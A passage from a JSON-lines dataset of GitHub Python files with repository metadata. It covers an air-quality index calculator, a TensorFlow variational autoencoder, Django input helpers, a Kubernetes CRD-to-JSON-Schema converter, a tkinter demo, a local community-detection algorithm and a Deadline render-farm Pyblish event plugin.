=50.5,101.6 ug/m3,... etc )\n ciel_val = math.ceil(val)\n req_row = sheet.loc[(sheet['Lower Conc']<= ciel_val) & (sheet['Upper Conc']>= ciel_val),:].reset_index()\n ## Let us now get the AQI at India scale for the pollutant\n step_1 = (req_row['Upper AQI'][0] - req_row['Lower AQI'][0])/ (req_row['Upper Conc'][0] - req_row['Lower Conc'][0])\n step_2 = step_1 * (val - req_row['Lower Conc'][0])\n AQI_vals = step_2+ req_row['Lower AQI'][0]\n AQI.append(AQI_vals)\n \n else:\n AQI.append('No Information available')\n aqi_outs = {'aqi':AQI}\n return aqi_outs\n \n \"\"\"\n Let us get the AQI category for the individual pollutants\n \n \"\"\"\ndef category(AQI, critical_poll,poll_conc):\n \n AQI_int_index = [AQI.index(i) for i in AQI if i !='No Information available']\n \n AQI_int_filtered = [AQI[i] for i in AQI_int_index] \n \n # poll_conc_filtered =[poll_conc[i] for i in AQI_int_index] \n \n critical_poll_filtered = [critical_poll[i] for i in AQI_int_index] \n \n AQI_sheet = pd.read_excel('inputs/AQI_breakpoint.xlsx', sheet_name='AQI_IND')\n \n category=[]\n \n catg_dummy = []\n \n for i in range(len(critical_poll)):\n poll = critical_poll[i]\n if poll in critical_poll_filtered:\n req_row = AQI_sheet.loc[(AQI_sheet['Lower AQI']<= AQI[i]) & (AQI_sheet['Upper AQI']>= AQI[i]),:].reset_index()\n category.append(req_row['Category'][0])\n catg_dummy.append(req_row['Category'][0])\n else:\n category.append('No Information Available')\n \n \n \"\"\"\n Now that we have all the required information let us print that\n \n \"\"\" \n \n max_AQI = max(AQI_int_filtered)\n critical_pollutant = critical_poll_filtered[AQI_int_filtered.index(max(AQI_int_filtered))]\n cat = catg_dummy[AQI_int_filtered.index(max(AQI_int_filtered))]\n ##units = []\n \n concatenate =[]\n \n for poll, conc, aqi, catg in zip(critical_poll,poll_conc,AQI,category):\n if aqi !='No Information available':\n info = [poll.upper(), conc.round(2), math.ceil(aqi), catg.upper()]\n concatenate.append(info)\n else:\n info = [poll.upper(), conc.upper(), aqi.upper(), catg.upper()]\n concatenate.append(info)\n \n cat_outs = {'max_aqi':max_AQI, 'critical_pollutant':critical_pollutant, 'cat':cat,'concatenate':concatenate, 'category':category}\n return cat_outs\n \n\"\"\"\nDisplay the results\n \n\"\"\"\n \ndef display(output,output2,distance,health):\n print()\n print('-*-'*28) \n print()\n print('Findings collected on '+ output['time_of_retreival']+' from the CAAQMS located at '+output['nearest_station'].center(20)) \n print('The CAAQMS and the Point of Interest are '+ str(distance[0].round(2))+' meters apart'.center(10))\n print('**Information is specific to the retreived date & time**'.center(20))\n print()\n print('1. AQI of '+str(math.ceil(output2['max_aqi']))+' has been observed')\n print()\n print('2. '+output2['critical_pollutant'].upper()+' is the critical pollutant')\n print()\n print('3. The air quality is '+output2['cat'].upper()+ ' and may possess \"'+health+'\"')\n print()\n print('Summary Table'.center(30))\n print(tabulate(output2['concatenate'], headers = ['Pollutants', 'Concentration', 'AQI','Category'], tablefmt ='grid'))\n print('Note: The unit for CO is milligrams per cubicmeters and rest are in micrograms per cubicmeters')\n print()\n print('Disclaimer: There may be ±5% variation from the actual data due to conversion/rounding errors')\n print()\n print('-*-'*28)\n \n \n ","repo_name":"moorthynair/India-s-air-quality-monitroing-needs-re-thinking---Data-retrival-cleaning-and-analysis","sub_path":"aqi_finder.py","file_name":"aqi_finder.py","file_ext":"py","file_size_in_byte":5651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"69894486562","text":"import tensorflow as tf\nfrom Autoencoder import Autoencoder\n\nclass VariationalAutoencoder(Autoencoder):\n\tdef __init__(self, n_input, n_hidden, optimizer=tf.train.AdamOptimizer(), initializer=tf.contrib.layers.xavier_initializer()):\n\t\tsuper().__init__(n_input, n_hidden, optimizer, initializer)\n\t\n\tdef _build_graph():\n\t\t# model\n\t\tself.x = tf.placeholder(tf.float32, [None, self.n_input])\n\t\tself.z_mean = tf.add(tf.matmul(self.x, self.weights['w1'], self.weights['b1']))\n\t\tself.z_log_sigma_sq = tf.add(tf.matmul(self.x, self.weights['log_sigma_w1']), self.weights['log_sigma_b1'])\n\n\t\teps = tf.random_normal(tf.stack([tf.shape(self.x)[0], self.hidden]), 0, 1, dtype=tf.float32)\n\t\tself.z = tf.add(self.z_mean, tf.multiply(tf.sqrt(tf.exp(self.z_log_sigma_sq)), eps))\n\t\tself.reconstruction = tf.add(tf.matmul(self.z, self.weights['w2']), self.weights['b2'])\n\n\tdef _define_cost(optimizer):\n\t\treconstr_loss = .5 * tf.reduce_sum(tf.pow(tf.subtract(self.reconstruction, self.x), 2.0))\n\t\tlatent_loss = -.5 * tf.reduce_sum(\n\t\t\t1 + self.z_log_sigma_sq\n\t\t\t - tf.square(self.z_mean)\n\t\t\t - tf.exp(self.z_log_sigma_sq),\n\t\t\t1\n\t\t)\n\n\t\tself.cost = tf.reduce_mean(reconstr_loss, latent_loss)\n\t\tself.optimizer = optimizer(self.cost)\n\t\n\tdef _initialize_weights(self, initializer):\n\t\tsuper(VariationalAutoencoder, self)._initialize_weights(initializer)\n\t\tself.weights['log_sigma_w1'] = tf.get_variable('log_sigma_w1', shape=[self.n_input, self.n_hidden], intializer=initializer)\n\t\tself.weights['log_sigma_b1'] = tf.Variable(tf.zeros([self.n_hidden], dtype=tf.float32))\n\t\t\n","repo_name":"deeparac/DeepPractice","sub_path":"TensorFlow/models/autoencoder/VariationalAutoencoder.py","file_name":"VariationalAutoencoder.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"24253350682","text":"import argparse\nfrom django.core import exceptions\nfrom django.utils.text import capfirst\n\n\ndef str2bool(v):\n if isinstance(v, bool):\n return v\n if v.lower() in ('yes', 'true', 't', 'y', '1'):\n return True\n elif v.lower() in ('no', 'false', 'f', 'n', '0'):\n return False\n else:\n raise argparse.ArgumentTypeError('Boolean value expected.')\n\n\ndef get_input_data(stderr, field, message, default=None, skip_validation=False):\n raw_value = input(message)\n if default is not None and raw_value == '':\n raw_value = default\n\n if skip_validation:\n return raw_value\n\n try:\n val = field.clean(raw_value, None)\n except exceptions.ValidationError as e:\n stderr.write(\"Error: %s\" % '; '.join(e.messages))\n val = None\n\n return val\n\n\ndef get_input_message(field, default=None):\n return '%s%s%s: ' % (\n capfirst(field.verbose_name),\n \" (leave blank to use '%s')\" % default if default is not None else '',\n ' (%s.%s)' % (\n field.remote_field.model._meta.object_name,\n field.m2m_target_field_name() if field.many_to_many else field.remote_field.field_name,\n ) if field.remote_field else '',\n )\n","repo_name":"dimagi/cloudworks","sub_path":"django_backend/cw_core/management/commands/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15008517521","text":"#!/usr/bin/env python\n\n# Derived from https://github.com/instrumenta/openapi2jsonschema\nimport yaml\nimport json\nimport sys\nimport urllib.request\n\ndef iteritems(d):\n if hasattr(dict, \"iteritems\"):\n return d.iteritems()\n else:\n return iter(d.items())\n\n\ndef additional_properties(data):\n \"This recreates the behaviour of kubectl at https://github.com/kubernetes/kubernetes/blob/225b9119d6a8f03fcbe3cc3d590c261965d928d0/pkg/kubectl/validation/schema.go#L312\"\n new = {}\n try:\n for k, v in iteritems(data):\n new_v = v\n if isinstance(v, dict):\n if \"properties\" in v:\n if \"additionalProperties\" not in v:\n v[\"additionalProperties\"] = False\n new_v = additional_properties(v)\n else:\n new_v = v\n new[k] = new_v\n return new\n except AttributeError:\n return data\n\n\ndef replace_int_or_string(data):\n new = {}\n try:\n for k, v in iteritems(data):\n new_v = v\n if isinstance(v, dict):\n if \"format\" in v and v[\"format\"] == \"int-or-string\":\n new_v = {\"oneOf\": [{\"type\": \"string\"}, {\"type\": \"integer\"}]}\n else:\n new_v = replace_int_or_string(v)\n elif isinstance(v, list):\n new_v = list()\n for x in v:\n new_v.append(replace_int_or_string(x))\n else:\n new_v = v\n new[k] = new_v\n return new\n except AttributeError:\n return data\n\n\ndef allow_null_optional_fields(data, parent=None, grand_parent=None, key=None):\n new = {}\n try:\n for k, v in iteritems(data):\n new_v = v\n if isinstance(v, dict):\n new_v = allow_null_optional_fields(v, data, parent, k)\n elif isinstance(v, list):\n new_v = list()\n for x in v:\n new_v.append(allow_null_optional_fields(x, v, parent, k))\n elif isinstance(v, str):\n is_non_null_type = k == \"type\" and v != \"null\"\n has_required_fields = grand_parent and \"required\" in grand_parent\n if is_non_null_type and not has_required_field:\n new_v = [v, \"null\"]\n new[k] = new_v\n return new\n except AttributeError:\n return data\n\n\ndef append_no_duplicates(obj, key, value):\n \"\"\"\n Given a dictionary, lookup the given key, if it doesn't exist create a new array.\n Then check if the given value already exists in the array, if it doesn't add it.\n \"\"\"\n if key not in obj:\n obj[key] = []\n if value not in obj[key]:\n obj[key].append(value)\n\n\nif len(sys.argv) == 0:\n print(\"missing file\")\n exit(1)\n\nif sys.argv[1].startswith(\"http\"):\n f = urllib.request.urlopen(sys.argv[1])\nelse:\n f = open(sys.argv[1])\nwith f:\n y = yaml.load(f, Loader=yaml.SafeLoader)\n schema = y[\"spec\"][\"validation\"][\"openAPIV3Schema\"]\n schema = additional_properties(schema)\n schema = replace_int_or_string(schema)\n print(json.dumps(schema))\n exit(0)\n","repo_name":"mhmoed/kubernetes-json-schema","sub_path":"crd-to-json-schema.py","file_name":"crd-to-json-schema.py","file_ext":"py","file_size_in_byte":3173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7975418239","text":"import eventBasedAnimation\n\ndef keyDemoInitFn(data):\n (data.x, data.y) = (data.width/2, data.height/2)\n data.speed = 10\n data.aboutText = data.windowTitle = \"key Controlled Ball (use arrows to move ball)\"\n\ndef keyDemoKeyFn(event, data):\n if (event.keysym == \"Up\"): data.y -= data.speed\n elif (event.keysym == \"Down\"): data.y += data.speed\n elif (event.keysym == \"Left\"): data.x -= data.speed\n elif (event.keysym == \"Right\"): data.x += data.speed\n\ndef keyDemoDrawFn(canvas, data):\n (cx, cy, r) = (data.x, data.y, 20)\n canvas.create_oval(cx-r, cy-r, cx+r, cy+r, fill=\"Blue\")\n\neventBasedAnimation.run(\n initFn=keyDemoInitFn,\n keyFn=keyDemoKeyFn,\n drawFn=keyDemoDrawFn,\n width=500,\n height=500\n )","repo_name":"ZhuoqunGong/UI-keyControlledBall","sub_path":"keyControlledBall.py","file_name":"keyControlledBall.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73635725283","text":"import time\r\nimport math\r\nimport copy\r\nimport gc\r\n\r\nclass solution: #定义对象\r\n def __init__ (self, nodes,neighbor):\r\n self.nodes = nodes\r\n self.M = 0\r\n self.S = 0\r\n self.I = 0\r\n self.O = 0\r\n self.Ix = 0\r\n self.N = neighbor\r\n # self.dict =\r\n def __eq__(self, other):\r\n return self.nodes==other.nodes\r\n def __hash__(self):\r\n return hash(self.nodes)\r\n\r\nclass Graph():\r\n def __init__(self):\r\n self.nodes = {}\r\n self.graph = {}\r\n\r\n\r\ndef GetNetwork(f1,f2):\r\n G = Graph()\r\n with open(f2) as f:\r\n lines = f.readlines()\r\n for line in lines:\r\n curLine = line.strip().split(\" \")\r\n G.nodes.update({int(curLine[0]):[float(curLine[1]),float(curLine[2])]})\r\n with open(f1) as ef:\r\n elines = ef.readlines()\r\n for line in elines:\r\n cureline = line.strip().split(\" \")\r\n if(len(cureline)>1):\r\n temp = []\r\n for i in range(1,len(cureline)):\r\n temp.append(int(cureline[i]))\r\n G.graph.update({int(cureline[0]):temp})\r\n else:\r\n G.graph.update({int(cureline[0]):[]})\r\n return G\r\n\r\ndef Isoutarchive(W,archive): #判断解W是否在archive里\r\n for i in archive:\r\n if(W.nodes==i.nodes):\r\n return False\r\n return True\r\n\r\ndef Isinarchive(W,archive): #判断解W是否在archive里\r\n for i in archive:\r\n if(W.nodes==i.nodes):\r\n return True\r\n return False\r\n\r\ndef computeDistance(p1,p2): #计算两点之间距离\r\n p3 = p2 - p1\r\n p4 = math.hypot(p3[0], p3[1])\r\n return p4\r\n\r\ndef Findneighbors(G,W): #寻找解W对应的节点集在网络中的邻居节点\r\n N = set()\r\n for i in W.nodes:\r\n N.update(set(G.graph[i]))\r\n return N - W.nodes\r\n\r\n\r\ndef compute_ms(node,G,W): #根据增量计算节点集P的模块度M和空间内聚度S\r\n x = 0\r\n In = set(G.graph[node])&W.nodes\r\n Out = set(G.graph[node])-In\r\n I = W.I+len(In)\r\n O = W.O+len(Out)-len(In)\r\n if(O==0):\r\n return -1,-1,-1,-1,-1\r\n M = round(I/O,16)\r\n loc = G.nodes[node]\r\n for node_s in W.nodes:\r\n loc1 = G.nodes[node_s]\r\n d1 = math.sqrt(((loc1[0] - loc[0]) *(loc1[0] - loc[0])) + ((loc1[1] - loc[1]) *(loc1[1] - loc[1])))\r\n x += d1\r\n Ix = W.Ix+x\r\n S = round(-((2 * Ix) / (len(W.nodes) * (len(W.nodes) + 1))),16)\r\n return M, S, I, O, Ix\r\n\r\ndef Issame(A,B):\r\n if(len(A)!=len(B)):\r\n return False\r\n else:\r\n for i in range(0,len(A)):\r\n if(A[i].nodes!=B[i].nodes):\r\n return False\r\n return True\r\n\r\ndef updateN(G, W, node,P):\r\n Out = set(G.graph[node]) - W.nodes #ratio值需要更新的节点\r\n d=dict(P.N)\r\n # del P.N[search(P.N,(node,d[node]))]\r\n P.N.remove((node,d[node]))\r\n for i in Out: #更新P.N\r\n if(i in d):\r\n # index=search(P.N,(i,d[i]))\r\n # del P.N[index]\r\n P.N.remove((i, d[i]))\r\n # print(\"删除\", i)\r\n O = set(G.graph[i]) - P.nodes\r\n I = set(G.graph[i]) - O\r\n if (len(O) != 0):\r\n w = (i, len(I) / len(O))\r\n insort(P.N,w)\r\n else:\r\n w = (i, len(P.nodes))\r\n insort(P.N, w)\r\n return P.N\r\n\r\ndef insort(a,x,lo=0,hi=None):\r\n if lo < 0:\r\n raise ValueError('lo must be non-negative')\r\n if hi is None:\r\n hi = len(a)\r\n while lo < hi:\r\n mid = (lo + hi) // 2\r\n if x[1] > a[mid][1]:\r\n hi = mid\r\n else:\r\n lo = mid + 1\r\n a.insert(lo, x)\r\n\r\ndef Findsons(G,archive): #寻找当前档案的的的衍生解\r\n box =set().union(archive)\r\n CC=set()\r\n for W in archive: #temp = {W}\r\n for node in range(len(W.N)):\r\n #end = time.perf_counter()\r\n if(node>len(W.N)/3):\r\n break\r\n else:\r\n tempc=frozenset([W.N[node][0]])|W.nodes\r\n tempN = copy.copy(W.N)\r\n P = solution(tempc,tempN)\r\n #P.nodes=frozenset([W.N[node][0]])|W.nodes # W和其邻居创建衍生解P\r\n ############################################\r\n if P in box:\r\n # print(\"重复了!!!!!!!\")\r\n continue\r\n else:\r\n P.M, P.S, P.I, P.O, P.Ix = compute_ms(W.N[node][0], G, W)\r\n if (P.M == -1 ):#and Isoutarchive(P, CC),没看出来这个的用处\r\n CC.add(P)\r\n continue\r\n P.N= updateN(G, W, W.N[node][0], P)\r\n box.add(P) # 加入衍生解P\r\n box = list(box)\r\n return box,CC\r\n\r\ndef Findpreto(sons): #寻找解集中的非支配解\r\n preto = [] #存放非支配解\r\n sort = sorted(sons,key=lambda x: (x.M,x.S),reverse=True) #按照解的M值大小关系,对解降序排序\r\n # print(\"\\n^_^衍生解更新,当前档案长度为:\", len(sort))\r\n # for j in sort:\r\n # print(j.nodes, \" M=\", j.M, \" S=\", j.S)\r\n preto.append(sort[0]) #取第一个解作为非支配解\r\n maxS = sort[0].S\r\n for each in sort: #筛选出剩下解当中的非支配解存入preto中\r\n if(each.S>maxS):\r\n preto.append(each)\r\n maxS = each.S\r\n elif(each.S==maxS and each.M == preto[len(preto)-1].M and Isoutarchive(each,preto)):\r\n preto.append(each)\r\n else:\r\n continue\r\n # print(\"\\n^_^preto解更新,当前档案长度为:\", len(preto))\r\n # for j in preto:\r\n # print(j.nodes, \" M=\", '%.4f' % j.M, \" S=\", '%.4f' % j.S)\r\n return preto\r\n\r\ndef LocalCommunityDetectionForNodei(nodei, G,archive):\r\n W = solution(frozenset([nodei]),[]) #初始化W为对象solution\r\n #W.nodes = frozenset([nodei])\r\n W.M,W.I,W.Ix,W.S=0,0,0,-100000\r\n W.O=len(G.graph[nodei])\r\n for i in G.graph[nodei]:\r\n O = set(G.graph[i]) - W.nodes\r\n I = set(G.graph[i]) - O\r\n if (len(O) != 0):\r\n w = (i, len(I) / len(O))\r\n W.N.append(w)\r\n # W.dict.update(w)\r\n else:\r\n w = (i, len(W.nodes))\r\n W.N.append(w)\r\n # W.dict.update(w)\r\n # W.N = sorted(W.N.items(), key=lambda x:x[1],reverse=True)\r\n W.N.sort(key=lambda x:x[1],reverse=True)\r\n archive.append(W) #档案记录第一个解\r\n HND = set()\r\n CC=set()\r\n while(True):\r\n son,cc = Findsons(G, archive) # 当前档案的衍生解\r\n CC.update(cc)\r\n print(\"\\n^_^非支配解更新,当前档案长度为:\", len(archive),\"; 存档长度:\",len(HND))\r\n for j in range(0, len(archive)):\r\n print(archive[j].nodes, \" M=\", '%.4f'%archive[j].M, \" S=\", '%.4f'%archive[j].S,\" d=\", '%.4f'%(archive[j].Ix)) # 输出当前档案中所有解\r\n # print(\"其衍生解有\", len(son), \"个,如下:\")\r\n # for j in range(0, len(son)):\r\n # if(son[j] in archive):\r\n # print(\"*\",son[j].nodes,\"*\")\r\n # else:\r\n # print(son[j].nodes, \" M=\", '%.4f'%son[j].M, \" S=\", '%.4f'%son[j].S) # 输出当前所有候选解\r\n # fina = Findpreto(son) # 衍生解中的非支配解\r\n ND = list(set(Findpreto(list(set(son)|HND)))) # 衍生解中的非支配解\r\n HND=set(ND)&HND\r\n C = set()\r\n for a in ND:\r\n for b in archive:\r\n if (b.nodes == a.nodes):\r\n C.add(a)\r\n HND.update(C)\r\n archive = list(set(ND) - HND)\r\n if (len(archive)==0): # 终止循环条件:更新前的档案和更新后的档案一样;否则,更新档案,继续循环\r\n break\r\n # archive = list(set(archive)|CC)\r\n # print(CC)\r\n archive=Findpreto(list(set(archive)|HND))\r\n # archive=ND\r\n print(\"最终档案长度为\", len(archive))\r\n for j in range(0, len(archive)):\r\n print(archive[j].nodes, \" M=\", '%.4f'%archive[j].M, \" S=\", '%.8f'%archive[j].S,\" d=\", '%.4f'%(archive[j].Ix)) # 输出当前档案中所有解\r\n return archive\r\n\r\nif __name__ ==\"__main__\":\r\n start = time.perf_counter()\r\n f1 = \"dataset/kite-graph.txt\"\r\n f2 = \"dataset/kite-node.txt\"\r\n G = GetNetwork(f1, f2)\r\n archive = [] # 档案:存放解\r\n nodei =3\r\n print(G.graph[nodei])\r\n print(len(G.graph[nodei]))\r\n if (G.graph[nodei] == []):\r\n print('该点为孤立节点,无社区!!')\r\n else:\r\n result = LocalCommunityDetectionForNodei(nodei, G, archive) # 为节点nodei找社区\r\n end = time.perf_counter() # 记录执行时间\r\n print(end - start, \"秒\")\r\n","repo_name":"hefei808/Spatial-Aware-Local-Community-Detection-Guided-byDominance-Relation","sub_path":"AppSLDR.py","file_name":"AppSLDR.py","file_ext":"py","file_size_in_byte":8783,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"24114049156","text":"import os\r\nimport sys\r\nimport logging\r\nimport json\r\n\r\nimport Deadline.Events\r\nimport Deadline.Scripting as ds\r\n\r\n\r\ndef GetDeadlineEventListener():\r\n return PyblishEventListener()\r\n\r\n\r\ndef CleanupDeadlineEventListener(eventListener):\r\n eventListener.Cleanup()\r\n\r\n\r\nclass PyblishEventListener(Deadline.Events.DeadlineEventListener):\r\n\r\n def __init__(self):\r\n self.OnJobSubmittedCallback += self.OnJobSubmitted\r\n self.OnJobStartedCallback += self.OnJobStarted\r\n self.OnJobFinishedCallback += self.OnJobFinished\r\n self.OnJobRequeuedCallback += self.OnJobRequeued\r\n self.OnJobFailedCallback += self.OnJobFailed\r\n self.OnJobSuspendedCallback += self.OnJobSuspended\r\n self.OnJobResumedCallback += self.OnJobResumed\r\n self.OnJobPendedCallback += self.OnJobPended\r\n self.OnJobReleasedCallback += self.OnJobReleased\r\n self.OnJobDeletedCallback += self.OnJobDeleted\r\n self.OnJobErrorCallback += self.OnJobError\r\n self.OnJobPurgedCallback += self.OnJobPurged\r\n\r\n self.OnHouseCleaningCallback += self.OnHouseCleaning\r\n self.OnRepositoryRepairCallback += self.OnRepositoryRepair\r\n\r\n self.OnSlaveStartedCallback += self.OnSlaveStarted\r\n self.OnSlaveStoppedCallback += self.OnSlaveStopped\r\n self.OnSlaveIdleCallback += self.OnSlaveIdle\r\n self.OnSlaveRenderingCallback += self.OnSlaveRendering\r\n self.OnSlaveStartingJobCallback += self.OnSlaveStartingJob\r\n self.OnSlaveStalledCallback += self.OnSlaveStalled\r\n\r\n self.OnIdleShutdownCallback += self.OnIdleShutdown\r\n self.OnMachineStartupCallback += self.OnMachineStartup\r\n self.OnThermalShutdownCallback += self.OnThermalShutdown\r\n self.OnMachineRestartCallback += self.OnMachineRestart\r\n\r\n def Cleanup(self):\r\n del self.OnJobSubmittedCallback\r\n del self.OnJobStartedCallback\r\n del self.OnJobFinishedCallback\r\n del self.OnJobRequeuedCallback\r\n del self.OnJobFailedCallback\r\n del self.OnJobSuspendedCallback\r\n del self.OnJobResumedCallback\r\n del self.OnJobPendedCallback\r\n del self.OnJobReleasedCallback\r\n del self.OnJobDeletedCallback\r\n del self.OnJobErrorCallback\r\n del self.OnJobPurgedCallback\r\n\r\n del self.OnHouseCleaningCallback\r\n del self.OnRepositoryRepairCallback\r\n\r\n del self.OnSlaveStartedCallback\r\n del self.OnSlaveStoppedCallback\r\n del self.OnSlaveIdleCallback\r\n del self.OnSlaveRenderingCallback\r\n del self.OnSlaveStartingJobCallback\r\n del self.OnSlaveStalledCallback\r\n\r\n del self.OnIdleShutdownCallback\r\n del self.OnMachineStartupCallback\r\n del self.OnThermalShutdownCallback\r\n del self.OnMachineRestartCallback\r\n\r\n def run_pyblish(self, config_entry, job, additonalData={}):\r\n\r\n plugin_dir = ds.RepositoryUtils.GetEventPluginDirectory(\"Pyblish\")\r\n\r\n # Activating pre and post task scripts, if paths are configured.\r\n if config_entry == \"OnJobSubmittedPaths\":\r\n if self.GetConfigEntryWithDefault(\"OnPostTaskPaths\", \"\"):\r\n path = os.path.join(plugin_dir, \"OnPostTask.py\")\r\n if os.path.exists(path):\r\n job.JobPostTaskScript = path\r\n self.LogInfo(\"Adding OnPostTask: \" + path)\r\n if self.GetConfigEntryWithDefault(\"OnPreTaskPaths\", \"\"):\r\n path = os.path.join(plugin_dir, \"OnPreTask.py\")\r\n if os.path.exists(path):\r\n job.JobPreTaskScript = path\r\n self.LogInfo(\"Adding OnPreTask: \" + path)\r\n\r\n ds.RepositoryUtils.SaveJob(job)\r\n\r\n # Setup environment\r\n PYTHONPATH = \"\"\r\n if job.GetJobEnvironmentKeys():\r\n self.LogInfo(\"Getting environment from job:\")\r\n for key in job.GetJobEnvironmentKeys():\r\n value = job.GetJobEnvironmentKeyValue(key)\r\n os.environ[str(key)] = str(value)\r\n self.LogInfo(\"{0}={1}\".format(key, value))\r\n if str(key) == \"PYTHONPATH\":\r\n PYTHONPATH = str(value)\r\n\r\n # Adding python search paths.\r\n paths = self.GetConfigEntryWithDefault(\"PythonSearchPaths\", \"\").strip()\r\n paths = paths.split(\";\")\r\n paths += PYTHONPATH.split(os.pathsep)\r\n\r\n for path in paths:\r\n self.LogInfo(\"Extending sys.path with: \" + str(path))\r\n sys.path.append(path)\r\n\r\n # Clearing previous plugin paths,\r\n # and adding pyblish plugin search paths.\r\n os.environ[\"PYBLISHPLUGINPATH\"] = \"\"\r\n path = \"\"\r\n adding_paths = self.GetConfigEntryWithDefault(config_entry, \"\").strip()\r\n adding_paths += os.pathsep + os.environ.get(config_entry, \"\")\r\n\r\n # Return early if no plugins were found.\r\n if adding_paths == os.pathsep:\r\n self.LogInfo(\"No plugins found.\")\r\n return\r\n else:\r\n adding_paths.replace(\";\", os.pathsep)\r\n\r\n if path != \"\":\r\n path = path + os.pathsep + adding_paths\r\n else:\r\n path = adding_paths\r\n\r\n self.LogInfo(\"Setting PYBLISHPLUGINPATH to: \\\"%s\\\"\" % path)\r\n os.environ[\"PYBLISHPLUGINPATH\"] = str(path)\r\n\r\n # Setup logging.\r\n level_item = self.GetConfigEntryWithDefault(\"LoggingLevel\", \"DEBUG\")\r\n level = logging.DEBUG\r\n\r\n if level_item == \"INFO\":\r\n level = logging.INFO\r\n if level_item == \"WARNING\":\r\n level = logging.WARNING\r\n if level_item == \"ERROR\":\r\n level = logging.ERROR\r\n\r\n logging.basicConfig(level=level)\r\n logger = logging.getLogger()\r\n\r\n # If pyblish is not available.\r\n try:\r\n __import__(\"pyblish.api\")\r\n except ImportError:\r\n import traceback\r\n print (\"Could not load module \\\"pyblish.api\\\": %s\"\r\n % traceback.format_exc())\r\n return\r\n\r\n import pyblish.api\r\n\r\n # Register host\r\n pyblish.api.register_host(\"deadline\")\r\n\r\n # Setup context and injecting deadline job and additional data.\r\n cxt = pyblish.api.Context()\r\n\r\n cxt.data[\"deadlineJob\"] = job\r\n cxt.data[\"deadlineAdditionalData\"] = additonalData\r\n\r\n # Recreate context from data.\r\n data = job.GetJobExtraInfoKeyValueWithDefault(\"PyblishContextData\", \"\")\r\n if data:\r\n data = json.loads(data)\r\n cxt.data.update(data)\r\n else:\r\n logger.warning(\"No Pyblish data found.\")\r\n\r\n cxt.data[\"deadlineEvent\"] = config_entry.replace(\"Paths\", \"\")\r\n\r\n # Run publish.\r\n import pyblish.util\r\n\r\n logging.getLogger(\"pyblish\").setLevel(level)\r\n\r\n cxt = pyblish.util.publish(context=cxt)\r\n\r\n # Error logging needs some work.\r\n for result in cxt.data[\"results\"]:\r\n if not result[\"success\"]:\r\n logger.error(result)\r\n (file_path, line_no, func, line) = result[\"error\"].traceback\r\n msg = \"Error: \\\"{0}\\\"\\n\".format(result[\"error\"])\r\n msg += \"Filename: \\\"{0}\\\"\\n\".format(file_path)\r\n msg += \"Line number: \\\"{0}\\\"\\n\".format(line_no)\r\n msg += \"Function name: \\\"{0}\\\"\\n\".format(func)\r\n msg += \"Line: \\\"{0}\\\"\\n\".format(line)\r\n logger.error(msg)\r\n\r\n def OnJobSubmitted(self, job):\r\n\r\n self.run_pyblish(\"OnJobSubmittedPaths\", job)\r\n\r\n def OnJobStarted(self, job):\r\n\r\n self.run_pyblish(\"OnJobStartedPaths\", job)\r\n\r\n def OnJobFinished(self, job):\r\n\r\n self.run_pyblish(\"OnJobFinishedPaths\", job)\r\n\r\n def OnJobRequeued(self, job):\r\n\r\n self.run_pyblish(\"OnJobRequeuedPaths\", job)\r\n\r\n def OnJobFailed(self, job):\r\n\r\n self.run_pyblish(\"OnJobFailedPaths\", job)\r\n\r\n def OnJobSuspended(self, job):\r\n\r\n self.run_pyblish(\"OnJobSuspendedPaths\", job)\r\n\r\n def OnJobResumed(self, job):\r\n\r\n self.run_pyblish(\"OnJobResumedPaths\", job)\r\n\r\n def OnJobPended(self, job):\r\n\r\n self.run_pyblish(\"OnJobPendedPaths\", job)\r\n\r\n def OnJobReleased(self, job):\r\n\r\n self.run_pyblish(\"OnJobReleasedPaths\", job)\r\n\r\n def OnJobDeleted(self, job):\r\n\r\n self.run_pyblish(\"OnJobDeletedPaths\", job)\r\n\r\n def OnJobError(self, job, task, report):\r\n\r\n data = {\"task\": task, \"report\": report}\r\n self.run_pyblish(\"OnJobErrorPaths\", job, data)\r\n\r\n def OnJobPurged(self, job):\r\n\r\n self.run_pyblish(\"OnJobPurgedPaths\", job)\r\n\r\n def OnHouseCleaning(self):\r\n\r\n self.run_pyblish(\"OnHouseCleaningPaths\", None)\r\n\r\n def OnRepositoryRepair(self, job):\r\n\r\n self.run_pyblish(\"OnRepositoryRepairPaths\", job)\r\n\r\n def OnSlaveStarted(self, job):\r\n\r\n self.run_pyblish(\"OnSlaveStartedPaths\", job)\r\n\r\n def OnSlaveStopped(self, job):\r\n\r\n self.run_pyblish(\"OnSlaveStoppedPaths\", job)\r\n\r\n def OnSlaveIdle(self, job):\r\n\r\n self.run_pyblish(\"OnSlaveIdlePaths\", job)\r\n\r\n def OnSlaveRendering(self, slaveName, job):\r\n\r\n self.run_pyblish(\"OnSlaveRenderingPaths\", job)\r\n\r\n def OnSlaveStartingJob(self, slaveName, job):\r\n\r\n self.run_pyblish(\"OnSlaveStartingJobPaths\", job)\r\n\r\n def OnSlaveStalled(self, job):\r\n\r\n self.run_pyblish(\"OnSlaveStalledPaths\", job)\r\n\r\n def OnIdleShutdown(self, job):\r\n\r\n self.run_pyblish(\"OnIdleShutdownPaths\", job)\r\n\r\n def OnMachineStartup(self, job):\r\n\r\n self.run_pyblish(\"OnMachineStartupPaths\", job)\r\n\r\n def OnThermalShutdown(self, job):\r\n\r\n self.run_pyblish(\"OnThermalShutdownPaths\", job)\r\n\r\n def OnMachineRestart(self, job):\r\n\r\n self.run_pyblish(\"OnMachineRestartPaths\", job)\r\n","repo_name":"blacksmithvfx/DeadlineDev","sub_path":"custom/events/Pyblish/Pyblish.py","file_name":"Pyblish.py","file_ext":"py","file_size_in_byte":9793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71919938081","text":"from os import path\nfrom pathlib import Path\n\nfrom utils.AnalysisOutput import AnalysisOutput\nfrom utils.BoardReader import 